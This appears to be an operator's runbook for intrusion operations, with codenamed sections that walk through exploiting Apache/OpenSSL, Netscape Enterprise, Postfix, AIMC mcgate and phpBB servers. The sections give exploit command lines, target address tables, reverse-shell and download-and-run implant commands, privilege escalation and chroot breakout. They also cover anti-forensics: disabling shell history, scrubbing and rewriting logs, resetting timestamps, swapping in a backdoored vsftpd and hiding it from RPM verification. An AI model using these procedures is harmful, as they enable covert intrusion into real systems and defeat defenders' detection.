+-cd /tmp/.scsi +-put ../up/tftpd_clean sched + +### name the image EXACTLY how it will appear on the target - get tech guidance + +-put image image.name +chmod 777 image.name + +### start tftpd listener +#Example ./sched -l -a 10.0.0.14 -s /tmp/.scsi +# the -a IP option is the PITCH IP that talks to the router (if multiple interfaces) + +-shell +./sched -l -a PITCH_IP -s /tmp/.scsi +DONE +exit + +-rm image.name sched +-cd /tmp +-rm /tmp/.scsi +-lt + + +######################################## +# SAMPLEMAN / ROUTER TOUCH +######################################## + + +### redir +-tunnel +l 2323 TARGET_IP 23 + + +### Locally: +telnet 127.0.0.1 2323 + +# userid = <> +# passwd = <> + +term length 0 +sh user +sh ver +sh arp +sh ip rout +sh proc cpu +enable +# enable password = <> +sh run +sh start +sh cdp neighbo detail +sh flash all +# use the chart to figure out mem location for the next command if applicable +sh mem
+logout + +######################################## +# ENGAGENAUGHTY +######################################## +# Apache and SSL exploit on Linux on Dec ALpha +# ssl must be OpenSSL 0.9.6d or earlier + + +Usage: ./apache-ssl-linux-alpha <-i hostname> [-t arch] [-p port] [-n ] [-a 0x
] + -t target architecture (default is 00) + -p SSL port (default is 443) + -a 0x
the free location found via objdump + -n open N apache connections before sending the shellcode (default is 20) + -m maximum number of open connections (default is 50) + -v verbose mode + + -c command to run (default is "ls > /tmp/ls".)Supported architectures: + +target archs: +00 - RedHat Linux 7.0 Apache/1.3.12 (Unix) (Red Hat/Linux) mod_ssl/2.6.6 OpenSSL/0.9.5a + +Examples: ./apache-ssl-linux-alpha -a 10 -v localhost + ./apache-ssl-linux-alpha -p 1234 192.168.0.1 -n 40 -m 80 + + examples of commands: +1. xterm: /usr/X11R6/bin/xterm -display 555.1.2.153:0 -e /bin/sh +2. wget: First: echo -e "HTTP/1.0 200\n" > new; cat new noserver-2.6.1-i586.pc.linux.gnu.redhat-5.0 > sendmail; nc -v -l -p 53 < sendmail + then: cd /tmp;wget http://555.1.2.153:53/sendmail; chmod +x /tmp/sendmail;PATH=/tmp sendmail;rm -f sendmail +3. xinetd (watch for logging): echo -e "service squid\n{\nsocket_type = stream\nwait = no\nuser = apache\nserver = /bin/sh\n}" > /tmp/.scsi; /usr/sbin/xinetd -f /tmp/.scsi + + + +scan ssl TARGET_IP + +### scripted window +nc -l -vv -p RANDOWM + +-tunnel +l 11443 TARGET_IP 443 +r RANDOM + + + +./apache-ssl-linux-alpha -i PITCH_IP -p SSL_PORT -v -c "(sh&0 2>&0)" + # or for ksh: +./apache-ssl-linux-alpha -i PITCH_IP -p SSL_PORT -v -c "(ksh -c "sh &0 2>&0")" + +xhost + +-tunnel +r 6006 127.0.0.1 6000 + +### This one pops back an xterm (be patient for it to pop back and keep mouse clear of window): +./apache-ssl-linux-alpha -i PITCH_IP -p SSL_PORT -v -c "/usr/bin/X11/xterm -display PITCH_IP:6 -e /bin/sh" + +### Cleaning: +/var/log/httpd/error_log + + +############################################################################ +# EXPLOITRETURN +# redflag 2.0 and redhat 9.0 running PHP +# found in cgi-bin for sybil build + +-scan http TARGET_IP +HTTP/1.1 200 OK +Date: Wed, 25 Feb 2004 22:02:11 GMT +Server: Apache/1.3.12 (Unix) (Black Cat/Linux) mod_ssl/2.6.4 OpenSSL/0.9.5a PHP/4.0.0 rus/PL29.4 + +-tunnel +l 80 TARGET_IP +# choose 79, 5555 +r 79 + or +r 5555 + +telnet 127.0.0.1 80 +GET /HTTP/1.0 + +telnet 127.0.0.1 80 +GET /ppd/product_user/reg_edu.php HTTP/1.0 +# hit return twice +#response looking for: HTTP/1.1 302 Found + +# do not use option 1 or 4 since it brings inconsistent results +xp_server +# uuencoded rat +uuencode sendmail sendmail > sendmail.uu +nc -l -v -p 79 < sendmail.uu + +./xp_serial -i127.0.0.1 -p80 -d"/ppd/product_user/reg_edu.php" -l PITCH_IP -n79 -t3 + + or + +# no uuencode of rat +nc -l -v -p 5555 < sendmail +./xp_serial -i127.0.0.1 -p80 -d"/ppd/product_user/reg_edu.php" -l PITCH_IP -n5555 -t2 +# after rat upload, nc command + +-nstun TARGET_IP +# will be nobody - need to elevate with ptrace or other +# need to clean the following logs +/var/log/httpd/error_log +/var/log/httpd/access_log + + + +##################################################### +# EGGBASKET +##################################################### + +# Remote exploit against the Netscape Web Server which leverages +# a buffer overflow to obtain remote access + +# Netscape Enterprise/3.6 and Netscape Enterprise/3.6 SP1 +# works against AIMC Netscape servers also with right versions + +# Netscape-Enterprise 3.6: +# solaris 2.6(sun4m only), sun4u & sun4m solaris 2.7 - 2.9 + +# Netscape-Enterprise/3.6 SP1: +# sun4m solaris 2.8, sun4m & sun4u solaris 2.9 + +# need local to elevate such as SMOOTHY and EXTREMEPARR + +# Verify version of Netscape if target did not change version string + +-scan http TARGET_IP + +# from redirector +-tunnel +l 80 TARGET_IP + +# locally + +nc 127.0.0.1 80 +GET / HTTP/1.0 + + + +# on redirector +-tunnel +l 80 TARGET_IP +r RANDOM_HIGH_PORT1 + +# locally window1 +nc -vv -l -p RANDOM_HIGH_PORT1 + +# Usage: xp_ns-httpd + +# i7 - program counter, location we are jumping to; fp - stack location; 04 - where our code is + +Targets: i7 fp o4 + Version: 01: Netscape-Enterprise/3.6/sun4u/5.8/fire115/aimc 0xff2a2a74 0xff2e6270 0x13ab60 + Version: 02: Netscape-Enterprise/3.6/sun4m/5.8/theora/aimc 0xef722a74 0xef766270 0x13a360 + Version: 03: Netscape-Enterprise/3.6/sun4m/5.8/unixtest-4/aimc 0xef6e2a74 0xef726270 0x13a060 + Version: 04: Netscape-Enterprise/3.6/sun4u/5.8/unixtest-1/aimc 0xff2a2a74 0xff2e6270 0x13a160 + Version: 05: Netscape-Enterprise/3.6/sun4u/5.8/fire121/aimc 0xff2a2a74 0xff2e6270 0x13ab60 + Version: 06: Netscape-Enterprise/3.6/sun4m/5.8/arc/aimc 0xef6e2a74 0xef726270 0x139d60 + Version: 07: Netscape-Enterprise/3.6/sun4u/5.7/baltimore/aimc 0xff2a2a74 0xff2e6270 0x13a360 + Version: 08: Netscape-Enterprise/3.6/sun4u/5.7/grandmama/aimc 0xff2a2a74 0xff2e6270 0x13a260 + Version: 09: Netscape-Enterprise/3.6/sun4m/5.7/unixtest-3/aimc 0xef722a74 0xef766270 0x139360 + Version: 10: Netscape-Enterprise/3.6/sun4m/5.6/elsa/aimc 0xef722a74 0xef766270 0x13a060 + Version: 11: Netscape-Enterprise/3.6/sun4m/5.6/gazoo/aimc 0xef722a74 0xef766270 0x13a060 + Version: 12: Netscape-Enterprise/3.6/sun4m/5.6/loneranger/aimc 0xef722a74 0xef766270 0x139360 + Version: 13: Netscape-Enterprise/3.6/sun4u/5.9/fire108/aimc 0xff2a2a74 0xff2e6270 0x139f60 + Version: 14: Netscape-Enterprise/3.6/sun4m/5.9/mack/aimc 0xef6e2a74 0xef726270 0x139d60 + Version: 15: Netscape-Enterprise/3.6/sun4u/5.9/thing/aimc 0xff2a2a74 0xff2e6270 0x139f60 + Version: 16: Netscape-Enterprise/3.6/sun4u/5.9/thing 0xff2a2a74 0xff2e6270 0x155090 + Version: 17: Netscape-Enterprise/3.6/sun4u/5.9/fire117 0xff2a2a74 0xff2e6270 0x155090 + Version: 18: Netscape-Enterprise/3.6/sun4m/5.6/loneranger 0xef722a74 0xef766270 0x153f78 + Version: 19: Netscape-Enterprise/3.6/sun4u/5.9/thing 0xff2a2a74 0xff2e6270 0x155290 + Version: 19: Netscape-Enterprise/3.6/sun4u/5.8/blade1000 0xff2a2a74 0xff2e6270 0x155f90 + Version: 20: Netscape-Enterprise/3.6sp1/sun4u/5.9/thing 0xff2a2c64 0xff2e6750 0x155390 + Version: 21: Netscape-Enterprise/3.6sp1/sun4m/5.8/theora 0xef722c64 0xef766750 0x155390 + Version: 22: Netscape-Enterprise/3.6sp1/sun4m/5.9/mack 0xef6e2c64 0xef726750 0x155090 + + +# -f webpath: usually just / +# -c command: "(ksh -c \"sh &0 2>&0\")&" +# -7 i7: have seen 0xff2a2a74, 0xef722a74, 0xef6e2a74 +# -6 sp: these work 0xff2e6270, 0xef766270, 0xef726270 +# -4 o4: , have seen 0x153090, when running AIMC, use 0x139360 +# -d destination target +# -p port: +# -s sleep number of seconds between requests +# -h usage +# -x range in the heap. +# -i heap increment. another good one to try is 0x80 + +# locally window2 + +# Example 1 assumes default install: + +Example 1: xp_ns-httpd -f / -c "(ksh -c \"sh &0 2>&0\")&" -d 127.0.0.1 -p 80 + +# Example 2, Netscape was installed with AIMC: + + Example 2, AIMC box: xp_ns-httpd -f / -c "(ksh -c \"sh &0 2>&0\")&" -d 127.0.0.1 -p 80 -4 0 +x139360 -s 10 -x 64 + + Example 3, low level mode: xp_ns-httpd -f / -c "(ksh -c \"sh &0 2>&0\")&" -7 0xff2a2a74 -6 +0xff2e6270 -d 127.0.0.1 -p 80 -4 0x13a960 -s 10 -x 16 + +# Example 4, Netscape 3.6 SP1: + + Example 4, SP1: xp_ns-httpd -f / -c "(ksh -c \"sh &0 2>&0\")&" -7 0xff2a2c64 -6 0xff2e6750 +-d 127.0.0.1 -p 80 + +# Example 5, a busy Netscape 3.6 SP1: + + Example 5: retry, but faster and more complete: xp_ns-httpd -f / -c "(ksh +-c \"sh &0 2>&0\")&" -d 127.0.0.1 -s 5 -i +0x80 + + +# Give troubleshooting instructions: +# There are five steps in troubleshooting EGGBASKET v2: +# Determine if the webserver is running Netscape-Enterprise 3.6 or 3.6 SP1. + # nc 127.0.0.1 80 + GET / HTTP/1.0 + + + +# Determine the OS based upon touch information or MAC address. + +# Maybe the server is busy serving requests, therefore try the + +# following additional options: + + -s 5 -i 0x80 + +# Maybe try a wider range in hitting the NOP sled, then try the +# following additional options: + + -x 64 -4 0x139360 # AIMC + + or + + -x 64 -4 0x153090 # Normal install + +# Is the target running the AIMC version, then try the following additional option: + + -4 0x139360 + +# The line "Errorlog" in $SERVERROOTDIR/config/magnus.conf tells where logging +# occurs + +# If the exploit fails, it is logged as such: + +# [18/Mar/2002:08:59:38] info (23834): successful server startup +# [18/Mar/2002:08:59:38] info (23834): Netscape-Enterprise/3.6 SP1 B99.036.2117 +# [18/Mar/2002:08:59:38] verbose (23834): livewireInit reports: Starting Server-Side JavaScript build: 99.036.2332 + +###################### EXCEEDSALON-AIX ##################### +## local elevation for AIX +## does not log but check anyway +# elevation as user +mkdir /tmp/.pci +cd /tmp/.pci +# use ftshell, uudecode copy/paste, telnet/nc, or wget to put +# /current/up/xp_lquerypv-aix5.1 up as s +./s + +# elevation in nopen + +mkdir /tmp/.pci +-cd /tmp/.pci +-put /current/up/xp_lquerypv-aix5.1 s +-shell +id +(user) +./s +id +(euid=root) +./sendmail +/tmp/exit + +###################### ESTOPFORBADE ##################### +# local root elevation against gds_inet_server under +# Cobalt Linux release 6.0 +# for complexpuzzle + +# on target from nopen +-lt /usr/local/sbin/gds_inet_server +mkdir /tmp/.pci +-cd /tmp/.pci +pwd +-put /current/up/xp_gds_inet_server g +-shell +id +./g +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +id + +# try up to 2 times for elevation + +##################################################### +# ENTERSEED +##################################################### +# +# Apparently, 30 or so minutes and you can bail...no joy. +# +## Set up redirector +-tunnel +l 2500 TARGET_IP 25 +r NETCAT_PORT 127.0.0.1 NETCAT_PORT + + +## set up a netcat listener in a local scripted window +## to upload a STATICALLY COMPILED NOPEN +nc -l -v -p NETCAT_PORT < noserver-static + +## LOCALLY in another window: OPTIONAL: Alert to show we hit +while [ 1 ] ; do netstat -an | grep NETCAT_PORT.*LISTEN || break ; sleep 2 ; done ; beeps 3333 + +## run exploit in a local scripted window +#Usage: ./enterseed.py [-search] [-u] [-fuploaded-filename] +#Platforms 1: SuSE 9.0 RPM (postfix-2.0.14-41) +# 2: SuSE 9.1 RPM (postfix-2.0.19_20040312-11) +# 3: ASP Linux 9 RPM (postfix-2.0.8-1asp) + +# NOTE: THERE ARE OTHERS BEYOND 3....6 is Debian 3.1 for instance.... + +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 1 +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 1 -uroot@TARGET_IP +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 2 +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 2 -uroot@TARGET_IP +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 3 -uroot@TARGET_IP -search1 + +## once the exploit calls back and nopen uploaded connect to noserver +-nstun TARGET_IP + +## check to see if you are chroot'd +-lt / + +## if it looks like +#drwx------ 2 postfix root 4096 Apr 27 04:35 2003 corrupt +#drwx-wx--- 2 postfix postdrop 4096 Apr 27 04:35 2003 maildrop +#drwx------ 2 postfix root 4096 Apr 27 04:35 2003 saved +#drwxr-xr-x 3 root root 4096 Nov 17 07:22 2004 usr +#drwxr-xr-x 18 root root 4096 Nov 17 07:22 2004 . +#drwxr-xr-x 2 root root 4096 Nov 17 07:22 2004 lib +#drwx------ 2 postfix root 4096 Nov 17 07:22 2004 hold +#drwxr-xr-x 26 root root 4096 Nov 17 07:36 2004 .. +#drwxr-xr-x 2 root root 4096 Nov 18 12:54 2004 etc +#drwx------ 18 postfix root 4096 Nov 18 14:50 2004 active +#drwx------ 18 postfix root 4096 Nov 18 14:50 2004 bounce +#drwx------ 18 postfix root 4096 Dec 1 12:37 2004 deferred +#drwx------ 3 postfix root 4096 Dec 1 14:53 2004 flush +#drwxr-xr-x 2 root root 4096 Dec 1 14:53 2004 pid +#drwx------ 15 postfix root 4096 Dec 8 14:00 2004 defer +#drwx------ 2 postfix root 4096 Mar 4 15:34 2005 private +#drwx--x--- 2 postfix postdrop 4096 Mar 4 15:34 2005 public +#drwxrwxrwx 19 postfix root 4096 Mar 7 11:36 2005 incoming +## this means you are in a chrooted environment without any binaries +## (no ls, netstat, ps, which, w, ...) + +## IF NOT CHROOTED, continue to clean logs + +## IF CHROOTED +-cd incoming + +-put /current/up/h h +-put /current/up/b b +-put /current/up/s s +-put /current/up/noserver ncd + +## change permissions +./s h +./s b +./s ncd +./s . + +## run break chroot routines +./h + +## you should be able to connect to a new nopen running +-nstun TARGET_IP 32755 + +## CLEANUP +## the location of the chrooted environment was /var/spool/postfix/ +-lt /var/spool/postfix/ +-lt /var/spool/postfix/incoming + +-rm b h s ncd a.. + +## CLEAN LOGS +## check logs /var/log/mail* /var/adm/mail* /var/log/messages /var/adm/messages +grep "stripping too many comments" /var/adm/mail* +grep "stripping too many comments" /var/log/mail* +grep "signal 11" /var/log/mail* +grep "signal 11" /var/adm/mail* +grep "bogus file" /var/adm/mail* +grep "bogus file" /var/log/mail* +grep "writable by everyone" /var/adm/mail* +grep "writable by everyone" /var/log/mail* +grep PITCH_IP /var/log/messages +grep PITCH_IP /var/adm/messages + +## if any of the directories or files were changed to world writable +## change them back because postfix will panic +chmod PREV_PERM /var/spool/postfix/incoming + + + + +######################################## +# Exploits a vulnerability in the Postfix mail server. +# Postfix runs on FreeBSD, Linux, Solaris, and most Unix servers. +# This exploit works for the default binary packages in SuSE 9.0-9.2, ASP Linux 9, and Debian 3.1 + +# must elevate to get root + + # postfix 2.0.14-41 on SuSE 9.0 + # postfix 2.0.19_20040312-11 on SuSE 9.1 + # postfix-2.0.8-1asp on ASP Linux 9 + # postfix-2.1.5 on SuSE 9.2 + # postfix-2.1.5 on Debian 3.1 +# +# ENTERSEED expects the DUL Encoder to be in its current directory, as well + # as write permission to that directory. +# + # In the event of a chroot'ed environment, shared libraries will not be usuable. + # Any uploaded files (such as noserver) must be statically compiled. +# +# -tunnel +# r NETCAT_PORT +# l RANDOM TARGET_IP TARGET_PORT + + + +./enterseed.py 127.0.0.1 RANDOM PITCH_IP NETCAT_PORT [-search] [-u] [-f] + # Usage: ./enterseed.py [-search] [-u] [-f] + # Platforms 1: SuSE 9.0 RPM (postfix-2.0.14-41) from short hostname (0-19 chars) + # 2: SuSE 9.0 RPM (postfix-2.0.14-41) from long hostname (17-43 chars) + # 3: SuSE 9.1 RPM (postfix-2.0.19_20040312-11) from long hostname (17-43 chars) + # 4: ASP Linux 9 RPM (postfix-2.0.8-1asp) from long hostname (17-43 chars) + # 5: SuSE 9.2 RPM (postfix-2.1.5) + # 6: Debian 3.1 (sarge) DEB (postfix-2.1.5) +# +# +# Chroot Example: +# +# Begin like above. Once connected with noclient, -cd to incoming and upload the statically compiled +# EVENTSTART, the breakchroot program, and the setperms program (for this example, these +# binaries are named h, b, and s, respectively. Since EVENTSTART is unable to take command-line +# arguments or environment variables, h expects breakchroot to be named "b" and breakchroot +# expects noserver to be named "ncd." The names are all configurable, but require a recompile. +# Be sure to compile statically!) +# +# After uploading, use s to set the permissions on b, ncd and the current directory: +# (remote)$ ./s b +# (remote)$ ./s ncd +# (remote)$ ./s . +# These files should all be set to mode 777 now. +# +# Now run EVENTSTART: +# (remote)$ ./h +# EVENTSTART will execute b (the breakchroot program) with root privileges, which will in turn break +# out of the chroot and exec ncd (noserver) from the root directory and with root privileges. +# The breakchroot program creates a directory "a.." while breaking chroot. Remember to delete +# this directory as well! +# Now connect to the new noserver: +# (local)$ ./noclient 555.1.11.25:32755 +# (remote)# id +# uid=0(root) gid=0(root) groups=0(root) +# (remote)# pwd +# / +# +# Make sure to delete all uploaded files/directories and reset directory permissions! +# +# Troubleshooting: +# If EVENTSTART fails and says something like "No such file or directory" make sure all binaries +# have been statically compiled. +# If EVENTSTART fails and says something like "Permission denied" make sure all binaries are set +# to mode 777. If not, use the setperms program (s). + + + + +##################################################### +# EMPTYBOWL +##################################################### + +# vulnerability in MailCenter Gateway (mcgate) - an application that comes +# with Asia Info Message Center mailserver; buffer overflow allows a string +# passed to popen() call to be controlled by an attacker; arbitraty cmd execute +# known to work only for AIMC Version 2.9.5.1 +# may get one shot only and then server will crash +# works on solaris 2.6-2.10 +# test - fire115 + +# make sure not windows target running 3389 but unix target + +-scan mail TARGET_IP +-scan 3389 TARGET_IP + +# Usage: ./emptybowl.py +# --NOTE: All spaces in cmd-string will be replaced by \t's + +# on redirector + +-tunnel +l 3389 TARGET_ip +r LOW_PORT_1 +r LOW_PORT_2 + +# local may be needed to elevate privileges + +# DO NOT use the command below, since only have 1 shot at target + +#./emptybowl.py 127.0.0.1 3389 'mkdir /tmp/.scsi ; cd /tmp/.scsi && telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode && uncompress sendmail.Z && chmod 700 sendmail && PATH=. D="-cPITCH_IP:NOPEN_PORT" sendmail;' + + +(sh&0 2>&0) + +##### use this one +nc -l -vv -p 33333 +./emptybowl.py 555.1.9.115 3389 "/usr/bin/ksh -c \"sh&0 2>&0\"" + +##### or this with doublet: +./emptybowl.py 555.1.9.115 3389 "/usr/bin/ksh -c \"cat < /dev/tcp/555.1.14.111/33333 | /bin/sh 2>&1 | cat > /dev/tcp/555.1.14.111/44444 2>& 1\"" + +# on redirector +netstat -an | grep LISTEN + +# look for low ports to use for doublet that are not +# being used on the redirector (21,22,22,53,79,80,443...) + +# substitute LOW_PORT_1, LOW_PORT_2 with ports decided +# from the above netstat command + +doublet -O LOW_PORT_1 LOW_PORT_2 + +# change LOW_PORT_1, LOW_PORT_2, and PITCH_IP + +./emptybowl.py 127.0.0.1 3389 "/bin/ksh -c \"cat < /dev/tcp/PITCH_IP/LOW_PORT_1 | /bin/sh 2>&1 | cat > /dev/tcp/PITCH_IP/LOW_PORT_2 2>& 1\"" + +#./emptybowl.py 127.0.0.1 3389 '(telnet PITCH_IP LOW_PORT_1 ; sleep 1) | /bin/sh | telnet PITCH_IP LOW_PORT_2' + +# in doublet window +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +w +pwd +id +cd /tmp +mkdir .scsi +cd .scsi + +# locally +packrat RAND_PORT + # packrat command +gedit sendmail.Z.uu + +# in doublet +pwd # make sure in /tmp/.scsi +/usr/bin/uudecode; ls -latr +copy/paste gedit contents into this window +uncompress sendmail.Z +ls -l +chmod 700 sendmail +PATH=. sendmail + +# from redirector +-nstun TARGET_IP + +# restart mcgate + + doublet window on TARGET_IP + + +# close tunnels on PITCH_IP + +# start a new NOPEN with 'at' to avoid inheritance of listening socket +-cd /tmp/.scsi +echo "./sendmail" | at now +# from PITCH_IP +-nstun TARGET_IP:32755 + +#burn this NOPEN to free up socket; from original NOPEN +# started (32754) on TARGET_IP +-burnBURN + +# NOPEN 2: +# now restart mcgate in new NOPEN - use at again to prevent mcgate +# from being terminated on exit. + +-cd /opt/aimc/setup +echo "./mcgate" | at now +-cd /tmp/.scsi +ps -ef | grep mcgate + +# ELEVATE with extremeparr (dtappgather) + +# after ELEVATE with extremeparr (dtappgather) +# and restarting noserver (sendmail), connect with + +-nstun TARGET_IP:32754 +-rm sendmail +# burn nopen window on TARGET_IP with id of aimc +id +-burnBURN + +# +# cleanup + +-lt /opt/aimc/setup/ + +# remove core file + +-rm /opt/aimc/setup/core + +# in mcgate's directory; the following will be appended to mcgate.: +Fri Feb 11 16:36:49 2005: cmdopen + --- : 0 : current cmd: uapi -u -f userPassword -e ******************************************** +Fri Feb 11 16:36:49 2005: cmdopen + --- : 0 : Result: rc= -5 len=0 + +-get /opt/aimc/setup/mcgate.YYYYMMDD + +#locally +cp /current/down/../HOSTNAME.IP/opt/aimc/setup/mcgate.YYYYMMDD /current/up/m + +# remove above entries; please leave the mcgate +# start values even the one we started. For example, leave: + +Fri Apr 8 16:12:28 2005: main + --- : 0 : Current server port is 3389 + +vi /current/up/m + +# on target +-put /current/up/m m +-ls -n /opt/aimc/setup/mcgate.YYYYMMDD +cat m > /opt/aimc/setup/mcgate.YYYYMMDD +-tail /opt/aimc/setup/mcgate.YYYYMMDD +# use -touch -t command from -ls -n output to +# reset timestamp on /opt/aimc/setup/mcgate.YYYYMMDD and +# /opt/aimc/setup. For example: +-touch -t 1112992709:1112992787 /opt/aimc/setup/mcgate.YYYYMMDD +-touch -t 1112992709:1112992787 /opt/aimc/setup + +-rm m + +at -l +-lt /var/spool/cron /var/spool/cron/atjobs +-touch /var/spool/cron/crontabs /var/spool/cron/atjobs + +-cd .. +-rm .scsi + +###### PORKED VSFTP Server ################################# + +# check to see if can use DIZZYTACHOMETER to remove mismatched vsftpd + +rpm --version + +whereis vsftpd + +rpm -qf /usr/sbin/vsftpd + +rpm -V vsftpd-1.1.3-8 + +-lt /usr/lib/librpm-4.1.so /usr/lib/librpmdb-4.1.so /usr/lib/librpmio-4.1.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz +2.so + +# or +-lt /usr/lib/librpm-4.2.so /usr/lib/librpmdb-4.2.so /usr/lib/librpmio-4.2.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz +2.so + +-lt /usr/sbin/vsftpd +# normal vsftpd md5sum: 11111ecd2d3ab44015eae3592fcfaec7 +# porked vsftpd md5sum: bde8b06829df05be8be4b5972a2d4a39 +md5sum vsftpd + +-put /current/up/it it +./it /usr/sbin/vsftpd + +cp /usr/sbin/vsftpd ? +-put /current/up/vsftpd vsftpd +cp vsftpd /usr/sbin/vsftpd +# use itime results to reset vsftpd times to original settings +./it /usr/sbin/vsftpd + +service vsftpd stop +service vsftpd start + +######## Trigger porked vsftpd + +### in local window, get nopen ready +packrat -z NETCAT_PORT + +### on redirector, get nopen listener ready +-nrtun NOPEN_PORT + + +### on redirector, set up tunnel, use a "pork source port" from list below +-tunnel +l 21 TARGET_IP 21 SPORT +r NETCAT_PORT + +### in scripted local window, send pork trigger + +#Usage: ./client -t|-u timeadj sport hostname dport command +#sport: 3 51 3854 5671 8213 12634 16798 23247 35139 47923 53246 63201 + +#./client -t|-u [tcp/udp] timeadj sport [(valid source ports for the server are: 3, 51, 3854, 5671, 8213, 12634, 16798, 23247, 35139, 47923, 53246, 63201)] hostname[Host IP] dport [(port on which PORKified daemon is listening)] command" + +./client -t 0 SPORT 127.0.0.1 21 "cd /tmp;mkdir -p .scsi && cd .scsi; cat < /dev/tcp/PITCH_IP/NETCAT_PORT > sendmail.uu && uudecode sendmail.uu && chmod 755 sendmail && PATH=. S=1 D=\"-cPITCH_IP:NOPEN_PORT\" ./sendmail" + + + +# use DIZZYTACHOMETER to hide package mismatches + +############## DIZZYTACHOMETER ################# +# Most Linux distributions contain a RPM database which stores information on installed files. Thus, if a system file is +# modified, the rpm "Verify" command easily alert the sysadmin of the changed file. DIZZYTACHOMETER alters a computer's +# RPM (4.1 or higher) database in order to hide a modified file. This is essential when dropping down implants such +# as Jackladder and Pork. + +# Works on Redhat 8 (rpm version 4.1), Redhat 9 (rpm version 4.2), and Mandrake +9.2 (verison 4.2) +rpm --version + +./DizzyTach -p "packageName" [-f "filepath\file"] [-d] [-r] [-c] [-s] [-m] [-t] +[-q] [-V] + + or + +ARGS="-p "packageName" [-f "filepath\file"] [-d] [-r] [-c] [-s] [-m] [-t] [-q] [-V] [-R]" ./DizzyTach + +# library dependencies in /usr/lib: +# +# librpm-4.1.so +# librpmdb-4.1.so +# librpmio-4.1.so +# libpopt.so +# libbeecrypt.so +# libbz2.so + +-lt /usr/lib/librpm-4.1.so /usr/lib/librpmdb-4.1.so /usr/lib/librpmio-4.1.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz +2.so + +# or + +-lt /usr/lib/librpm-4.2.so /usr/lib/librpmdb-4.2.so /usr/lib/librpmio-4.2.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz +2.so + +example: + +# Suppose we want to hide /usr/sbin/vsftpd frpm RPM + +$ whereis vsftpd +vsftpd: /usr/sbin/vsftpd + +# Find the rpm package that is responsible for this file. +$ rpm -qf /usr/sbin/vsftpd +vsftpd-1.1.3-8 + + +# Run the rpm "Verify" command on the vsftpd-1.1.3-8 package. +rpm -V vsftpd-1.1.3-8 +S.5....T /usr/sbin/vsftpd + +# S, 5, and T were output. This means the vsftpd binary has a different size, md5, and modification time than the +# rpm database. + +-put /current/up/DIZZYTACHSTATIC rpmStatic +# final command would be: +$ ./rpmStatic -p vsftpd-1.1.3-8 -f /usr/sbin/vsftpd -s -m -t -d -r -c + Reset: OK + SigRepair: NO + Lookup OK Sig Exists + Reset: OK + -d: OK + -m: UPDATED + -s: UPDATED + -t: UPDATED + Commit: OK Tested write of 8392 bytes + Performed write of 8392 bytes + Reset: OK + -r: OK + Commit: OK Tested write of 8392 bytes + Performed write of 8392 bytes + Reset: OK + + +# Check to see if the "vsftpd" is now hidden from rpm +$ rpm -V vsftpd-1.1.3-8 + +# This time, /usr/sbin/vsftpd is not output. Our modified file is now hidden from RPM! +-rm rpmStatic + +############################ ESMARKCONANT ################################## +# Exploits a vulnerability in the phpBB forum software. +# No authentication is required. + +# target to be running phpBB less than version 2.0.11 + +# usage: ./xp_phpbb.pl -i -t -c + +# -i +# -t +# -c + +#./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"uname -a;ls -la;w" + +#./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://555.1.2.150:5555/sendmail -O +sendmail;chmod +x sendmail;D=-c555.1.2.150:9999 PATH=. sendmail) 2>/dev/null" + + + + +# 2 step troubleshooting +-tunnel +l 80 TARGET_IP +r NETCAT_PORT + +nc 127.0.0.1 80 +telnet 127.0.0.1 80 +GET /phpBB2/ HTTP/1.0 + +# response should be: +# Powered by phpBB 2.0.4 + +# determine if viewtopic.php is vulnerable +./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"uname -a;ls -la;w" + +# response should have the output of the commands in the request: +# ... +#
+ +cd /current/up +#locally to setup fowget to put rat on target since no uudecode +echo -e "HTTP/1.0 200\n" > new +cat new noserver > sendmail +nc -v -l -p NETCAT_PORT < sendmail + +# on PITCH +-nrtun RAND_PORT + +# upload and execute nopen +./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://PITCH_IP:NETCAT_PORT/sendmail + -Osendmail;chmod +x sendmail;D=-cPITCH_IP:RAND_PORT PATH=. sendmail) 2>/dev/null" + +# clean web access log +######### SNMPWALK +-tunnel +u 161 TARGET_IP + +snmpwalk 127.0.0.1 -c COMMUNITY_STRING .system +#snmpwalk -v1 -c Ult1mate 127.0.0.1 .system +#snmpwalk -v2c -c Ult1mate 127.0.0.1 .system +#snmpwalk -v1 -c tenkap 127.0.0.1 enterprises.9.9.23.1 + + + +# Software info.... +snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson .system + +# Hardware info ..... +snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson 47.1.1.1.1.2 + +# CDP neighbors +snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson enterprises.9.9.23.1 + +# Flash Stuff +snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson 16 +snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson enterprises.9.2.10.17.1.1 + +# Arp Cache +snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson +ip.ipNetToMediaTable.ipNetToMediaEntry.ipNetToMediaPhysAddress + +# Route info +# not sure on this one what you want.... +# gives 1500 lines on our jetson.net switches +snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson ip.ipRouteTable |wc + + + + + +##################################################### +# EVOKEPROMPT +##################################################### + +# In netscape/mozilla to get magic cookie: +# Tools->Cookie Manager->Manage Stored Cookies +# click on your cookie; take note of name and Information +# change name-sessionid and OWVSdif1.AMY to name and Information +# for the following command +# change callback IP + +in /etc/hosts, add the dns target name to 127.0.0.1 + + +1.EVOKEPROMPT Software Description: + + - Exploits a vulnerability in a CGI against the Open WebMail system. The request is parsed by the openwebmail-folder.pl 